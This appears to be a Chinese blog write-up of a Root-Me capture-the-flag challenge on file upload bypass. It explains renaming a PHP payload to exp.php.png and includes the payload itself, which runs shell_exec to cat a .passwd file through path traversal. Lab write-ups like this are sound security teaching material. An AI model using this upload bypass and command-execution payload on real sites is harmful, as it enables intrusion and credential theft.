加载中...

【Root-Me】 File upload - double extensions



题目给出了两个提示:

  • 双重后缀绕过(double extensions)
  • 目标文件 .passwd 在 web 服务的根路径

上传一个图片测试一下,页面会给出图片的 URL 地址,点开后可以打开原图,猜测这或许是一个可利用点。

又从给出的 URL 地址知道,上传的文件距离 web 服务根目录的位置,因此可以构造一个路径穿越的 payloads 文件,文件名为 exp.php

<?php
    // exp.php.png
    // 假如这个文件上传成功,则可以利用 web 打开这个文件进行解析时进行路径穿越
    $content = shell_exec('cat ../../../.passwd');
    echo "<pre>$content</pre>";
?>

但因为上传会检测文件后缀,无法直接上传。把文件更名为 exp.php.png 尝试绕过检测机制,上传成功。

上传成功后,打开这个伪造的图片文件,发现它被作为 php 文件解析了(应该是 web 设置的问题),成功获得密码,完成挑战。


答案下载

flag 下载后的 flagzip 的文件需要手动更改后缀为 *.zip,然后解压即可(为了避免直接刷答案)


文章作者: EXP
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 EXP !
  目录